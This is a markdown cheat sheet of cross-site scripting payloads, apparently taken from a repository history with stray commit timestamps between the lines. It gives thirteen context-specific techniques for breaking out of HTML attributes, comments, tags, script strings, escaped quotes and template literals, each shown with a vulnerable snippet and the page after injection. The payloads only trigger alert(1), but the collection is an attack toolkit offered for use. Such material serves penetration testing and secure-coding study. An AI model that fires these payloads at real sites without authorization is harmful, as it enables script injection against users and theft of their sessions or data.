2020-09-12 11:08:09 +00:00
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# XSS Payloads
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1. Basic payload
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```html
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<script>alert(1)</script>
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<svg/onload=alert(1)>
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<img src=x onerror=alert(1)>
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```
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2. Add ' or " to escape the payload from value of an HTML tag
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```html
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"><script>alert(1)</script>
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'><script>alert(1)</script>
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```
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* Example source code
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```html
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<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
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```
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2020-09-14 02:27:09 +00:00
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* After input the payload
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```html
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<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
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```
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2020-09-12 11:08:09 +00:00
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3. Add --> to escape the payload if input lands in HTML comments.
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```html
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--><script>alert(1)</script>
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```
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* Example source code
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```html
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<!-- REFLECTED_HERE -->
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```
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2020-09-14 02:27:09 +00:00
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* After input the payload
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```html
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<!-- --><script>alert(1)</script> -->
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```
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2020-09-12 11:08:09 +00:00
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4. Add </tag> when the input inside or between opening/closing tags, tag can be <a>,<title,<script> and any other HTML tags
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```html
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</tag><script>alert(1)</script>
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"></tag><script>alert(1)</script>
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```
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* Example source code
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```html
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<a class="item-pagination flex-c-m trans-0-4 active-pagination" href="https://target.com/1?status=REFLECTED_HERE">1</a>
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```
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2020-09-14 02:27:09 +00:00
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* After input the payload
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```html
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<a class="item-pagination flex-c-m trans-0-4 active-pagination" href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
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```
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2020-09-12 11:08:09 +00:00
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5. Use when input inside an attribute’s value of an HTML tag but > is filtered
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```html
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2020-09-14 02:27:09 +00:00
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" onmouseover=alert(1)
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" autofocus onfocus=alert(1)
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2020-09-12 11:08:09 +00:00
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```
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* Example source code
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```html
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<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
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```
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2020-09-14 02:27:09 +00:00
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* After input the payload
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```html
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<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
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```
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2020-09-12 11:08:09 +00:00
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6. Use </script> when input inside <script> tags
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```html
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</script><script>alert(1)</script>
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```
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* Example source code
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```html
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<script>
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2020-09-14 02:27:09 +00:00
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var sitekey = '</script>alert(1)</script>';
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</script>
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```
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7. Use when input lands in a script block, inside a string delimited value.
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```html
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'-alert(1)-'
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'/alert(1)//
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```
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* Example source code
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```html
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<script>
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var sitekey = ''-alert(1)-'';
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</script>
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```
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8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
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```html
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\'alert(1)//
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```
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2020-09-14 03:02:32 +00:00
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* Example source code
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```html
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<script>
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var sitekey = 'REFLECTED_HERE';
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</script>
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```
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2020-09-14 02:27:09 +00:00
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* If we input payload '-alert(1)-' it will be like this
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```html
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<script>
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var sitekey = '\'-alert(1)-\'';
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</script>
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```
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The quotes are escaped by a backslash so we need to bypass them
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* After input the payload
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```html
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<script>
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2020-09-14 03:02:32 +00:00
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var sitekey = '\\'alert(1)//';
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</script>
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```
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9. Use when there’s multi reflection in the same line of JS code
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```html
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/alert(1)//\
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/alert(1)}//\
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```
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* Example source code
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```html
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<script>
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var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
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</script>
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```
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* After input the payload
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```html
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<script>
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var a = '/alert(1)//\'; var b = '/alert(1)//\';
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2020-09-12 11:08:09 +00:00
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</script>
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```
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2020-09-14 03:02:32 +00:00
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10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).
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```html
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'}alert(1);{'
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\'}alert(1);{//
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```
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* Example source code
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```html
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<script>
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var greeting;
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var time = 1;
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if (time < 10) {
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test = 'REFLECTED_HERE';
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}
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</script>
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```
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* After input the payload
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```html
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<script>
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var test;
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var time = 1;
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if (time < 10) {
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test = ''}alert(1);{'';
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}
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</script>
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```
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> Payload number 2 uses when quote escaped by backslash
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2020-09-14 03:38:20 +00:00
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11. Use when input lands inside backticks delimited strings
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```html
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${alert(1)}
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```
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* Example source code
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```html
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<script>
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var dapos = `REFLECTED_HERE`;
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</script>
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```
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* After input the payload
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```html
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<script>
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var dapos = `${alert(1)}`;
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</script>
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```
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12. Uses when there is multiple reflections on same page. (Double Reflection)
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```html
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'onload=alert(1)><svg/1='
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'>alert(1)</script><script/1='
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*/alert(1)</script><script>/*
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```
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* After input the payload
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```html
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<!DOCTYPE html>
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<html>
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<body>
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'onload=alert(1)><svg/1='
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[...]
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'onload=alert(1)><svg/1='
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</body>
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</html>
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```
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13. Uses when there is multiple reflections on same page. (Triple Reflection)
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```html
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*/alert(1)">'onload="/*<svg/1='
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`-alert(1)">'onload="`<svg/1='
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*/</script>'>alert(1)/*<script/1='
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```
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* After input the payload
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```html
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<!DOCTYPE html>
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<html>
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<body>
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*/alert(1)">'onload="/*<svg/1='
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[...]
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*/alert(1)">'onload="/*<svg/1='
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[...]
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*/alert(1)">'onload="/*<svg/1='
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</body>
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</html>
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```
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2020-09-12 11:08:09 +00:00
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*Will be updated again!
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